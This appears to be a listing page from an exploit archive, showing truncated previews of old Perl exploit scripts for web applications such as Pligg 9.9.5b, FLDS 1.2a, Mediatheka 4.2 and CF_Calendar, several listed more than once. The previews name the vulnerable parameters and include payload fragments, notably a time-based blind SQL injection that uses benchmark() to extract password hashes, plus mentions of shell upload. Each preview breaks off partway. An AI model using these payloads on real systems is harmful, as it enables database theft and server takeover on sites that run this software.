Pligg 9.9.5b - Arbitrary File Upload SQL Injection

Pligg 9.9.5b - Arbitrary File Upload SQL Injection !/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration...

yourplace 1.0.2 - Multiple Vulnerabilities Remote Code Execution

yourplace 1.0.2 - Multiple Vulnerabilities Remote Code Execution START 0x01 Informations: Script : YourPlace 0.5 beta 1 Download : http://www.hotscripts.com/jump.php?listingid=80545&jumptype=1 Vulnerability : DB Disclosure / Arbitrary Data Saving RCE EXPLOIT / Arbitrary File Upload / PHPInfo...

RSS Simple News - SQL Injection

RSS Simple News - SQL Injection !/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers RSS Simple News Remote SQL Injection Exploit http://sourceforge.net/projects/rss-simple-news/ This exploit tries to read an arbitrary file. It...

Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

No description provided by source. !/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and...

Pligg 9.9.5b (check_url.php url) Upload Shell/SQL Injection Exploit

Exploit for unknown platform in category web applications =================================================================== Pligg 9.9.5b checkurl.php url Upload Shell/SQL Injection Exploit =================================================================== !/usr/bin/perl =about Pligg 9.9.5 Beta...

Pligg 9.9.5b - Arbitrary File Upload / SQL Injection

!/usr/bin/perl =about Pligg 9.9.5 Beta Perl exploit AUTHOR discovered & written by Ams ax330d doggy gmail dot com VULN. DESCRIPTION: Vulnerability hides in 'evb/checkurl.php' unfiltered $GET'url' parameter. Actually, it has filtration. Filtration strips tags and converts html special chars , but ...

RSS Simple News - SQL Injection

!/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers RSS Simple News Remote SQL Injection Exploit http://sourceforge.net/projects/rss-simple-news/ This exploit tries to read an arbitrary file. It needs magicquotesgpc=off...

Userlocator 3.0 - Blind SQL Injection

Userlocator 3.0 - Blind SQL Injection !/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage:...

Userlocator 3.0 - Blind SQL Injection

!/usr/bin/perl -w use strict; use LWP::Simple; $| = 1; p print q ::::::::::::::::::::::::::::: :: Userlocator 3.0 Exploit :: :: written by katharsis :: ::::::::::::::::::::::::::::: www.katharsis.x2.to [email protected] ; if @ARGV 2 print "Usage: usrlocsploit.pl url user id\nExample:...

MyPBS - seasonID SQL Injection

MyPBS - seasonID SQL Injection !/usr/bin/perl Coded by Piker pikerdotther00tatgmaildotcom D.O.M Team piker,ka0x,an0de,xarnuz 2008 Security Researchers MyPBS Remote SQL Injection Exploit This exploit tries to read an arbitrary file. piker@domlabs:/advisories$ perl mypbs.pl http://localhost/mypbs...

Lizardware CMS <= 0.6.0 Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl -w Lizardware CMS = 0.6.0 Blind SQL Injection Exploit by athos - stakerathotmaildotit http://sourceforge.net/projects/lizardwarecms/ use strict; use LWP::UserAgent; my $stop,$start,$hash; my $domain = shift; my $ptable = shift; my $userid = shift ...

Lizardware CMS 0.6.0 - Blind SQL Injection

Lizardware CMS 0.6.0 - Blind SQL Injection !/usr/bin/perl -w Lizardware CMS post$host, user = $param, pass = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "userpassword,$uidz,1=$charz,". "benchmark230000000,char0,". "0 from $ptableusers...

FLDS 1.2a SQL Injection

!/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo = mysqlfetcharraymysqlquery"select from links where...

FLDS 1.2a report.php (linkida) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications =========================================================== FLDS 1.2a report.php linkida Remote SQL Injection Exploit =========================================================== !/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQ...

FLDS 1.2a - 'report.php' SQL Injection

!/usr/bin/perl -w Free Links Directory Script V1.2a Remote SQL Injection Exploit written by ka0x D.O.M Labs Security Researchers - www.domlabs.org - Vuln code report.php: if$COOKIE'logged'=="" ... // login else $linkida = $GET'linkid'; $linkinfo = mysqlfetcharraymysqlquery"select from links where...

Mediatheka 4.2 Blind SQL Injection

!/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid"; return $send; for1..32 foreach my...

Mediatheka 4.2 - Blind SQL Injection

!/usr/bin/perl -w Mediatheka post$host, user = $param, password = 'anything' ; sub givechar my $send = undef; my $charz,$uidz = @; $send = "' or select ifasciisubstring". "password,$uidz,1=$charz,". "benchmark200000000,char0,". "0 from users where id=$userid"; return $send; for1..32 foreach my...

CF_Calendar - calendarevent.cfm SQL Injection

CFCalendar - calendarevent.cfm SQL Injection !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTB...

CF_Calendar (calendarevent.cfm) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ CFCalendar calendarevent.cfm Remote SQL Injection Exploit ============================================================ !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print...

CF_Calendar (calendarevent.cfm) Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use HTTP::Request; use LWP::UserAgent; print "\n \n"; print " CFCalendar Remote SQL Injection Exploit \n"; print " By AlpHaNiX \n"; print " \n"; print " \n"; print " usage : perl exploit.pl target \n"; print " contact : AlpHaATHACKERDOTBZ \n"; pri...